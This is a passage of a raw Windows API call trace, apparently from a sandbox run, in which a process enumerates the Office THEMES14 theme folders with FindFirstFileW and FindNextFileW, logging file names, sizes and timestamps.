nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x26842b0 [0083.147] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x567e4730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0083.147] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x954c700, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x567e4730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x954c700, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xe743, dwReserved0=0x0, dwReserved1=0x0, cFileName="LAYERS.ELM", cAlternateFileName="")) returned 1 [0083.148] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x66247150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x215, dwReserved0=0x0, dwReserved1=0x0, cFileName="LAYERS.INF", cAlternateFileName="")) returned 1 [0083.148] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x67b, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0083.148] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xaf32, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0083.148] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xaf32, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0083.148] FindClose (in: hFindFile=0x26842b0 | out: hFindFile=0x26842b0) returned 1 [0083.149] GetProcessHeap () returned 0x550000 [0083.149] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26a90b0 | out: hHeap=0x550000) returned 1 [0083.149] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x66247150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x66247150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LEVEL", cAlternateFileName="")) returned 1 [0083.149] GetProcessHeap () returned 0x550000 [0083.149] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26a90b0 [0083.149] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\*", lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x66247150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x66247150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x26842b0 [0083.151] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x66247150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x66247150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0083.151] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa85f400, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x66247150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa85f400, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xe2ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="LEVEL.ELM", cAlternateFileName="")) returned 1 [0083.151] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x66247150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x20e, dwReserved0=0x0, dwReserved1=0x0, cFileName="LEVEL.INF", cAlternateFileName="")) returned 1 [0083.151] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x563, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0083.151] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xbbf3, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0083.152] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xbbf3, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0083.152] FindClose (in: hFindFile=0x26842b0 | out: hFindFile=0x26842b0) returned 1 [0083.152] GetProcessHeap () returned 0x550000 [0083.152] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26a90b0 | out: hHeap=0x550000) returned 1 [0083.152] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59544a90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NETWORK", cAlternateFileName="")) returned 1 [0083.152] GetProcessHeap () returned 0x550000 [0083.153] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26a90b0 [0083.153] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\*", lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59544a90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x26842b0 [0083.154] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59544a90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0083.154] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x107bd500, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x59544a90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x107bd500, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xc649, dwReserved0=0x0, dwReserved1=0x0, cFileName="NETWORK.ELM", cAlternateFileName="")) returned 1 [0083.154] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6a3bce50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x249, dwReserved0=0x0, dwReserved1=0x0, cFileName="NETWORK.INF", cAlternateFileName="")) returned 1 [0083.154] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x554, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0083.155] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x2d35, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0083.155] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x2d35, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0083.155] FindClose (in: hFindFile=0x26842b0 | out: hFindFile=0x26842b0) returned 1 [0083.155] GetProcessHeap () returned 0x550000 [0083.155] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26a90b0 | out: hHeap=0x550000) returned 1 [0083.155] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59c68c90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PAPYRUS", cAlternateFileName="")) returned 1 [0083.155] GetProcessHeap () returned 0x550000 [0083.156] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26a90b0 [0083.156] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\*", lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59c68c90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x26842b0 [0083.430] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59c68c90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0083.431] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x140f5c00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x59c68c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x140f5c00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x166d5, dwReserved0=0x0, dwReserved1=0x0, cFileName="PAPYRUS.ELM", cAlternateFileName="")) returned 1 [0083.431] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6cd64f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="PAPYRUS.INF", cAlternateFileName="")) returned 1 [0083.431] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xa0e, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0083.431] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x9240, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0083.431] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x9240, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0083.432] FindClose (in: hFindFile=0x26842b0 | out: hFindFile=0x26842b0) returned 1 [0083.432] GetProcessHeap () returned 0x550000 [0083.432] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26a90b0 | out: hHeap=0x550000) returned 1 [0083.432] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a44b570, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PIXEL", cAlternateFileName="")) returned 1 [0083.432] GetProcessHeap () returned 0x550000 [0083.432] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26a90b0 [0083.432] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\*", lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a44b570, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x26842b0 [0083.433] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a44b570, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0083.434] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17a2e300, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x6cf07e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x17a2e300, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xd0e5, dwReserved0=0x0, dwReserved1=0x0, cFileName="PIXEL.ELM", cAlternateFileName="")) returned 1 [0083.434] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a44b570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x21b, dwReserved0=0x0, dwReserved1=0x0, cFileName="PIXEL.INF", cAlternateFileName="")) returned 1 [0083.434] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x639, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0083.434] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x54f1, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0083.434] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x54f1, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0083.434] FindClose (in: hFindFile=0x26842b0 | out: hFindFile=0x26842b0) returned 1 [0083.435] GetProcessHeap () returned 0x550000 [0083.435] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26a90b0 | out: hHeap=0x550000) returned 1 [0083.435] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d084c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PROFILE", cAlternateFileName="")) returned 1 [0083.435] GetProcessHeap () returned 0x550000 [0083.435] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26a90b0 [0083.435] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\*", lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d084c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x26842b0 [0083.980] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d084c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0083.980] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x53b, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0083.980] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a053d00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1a053d00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, 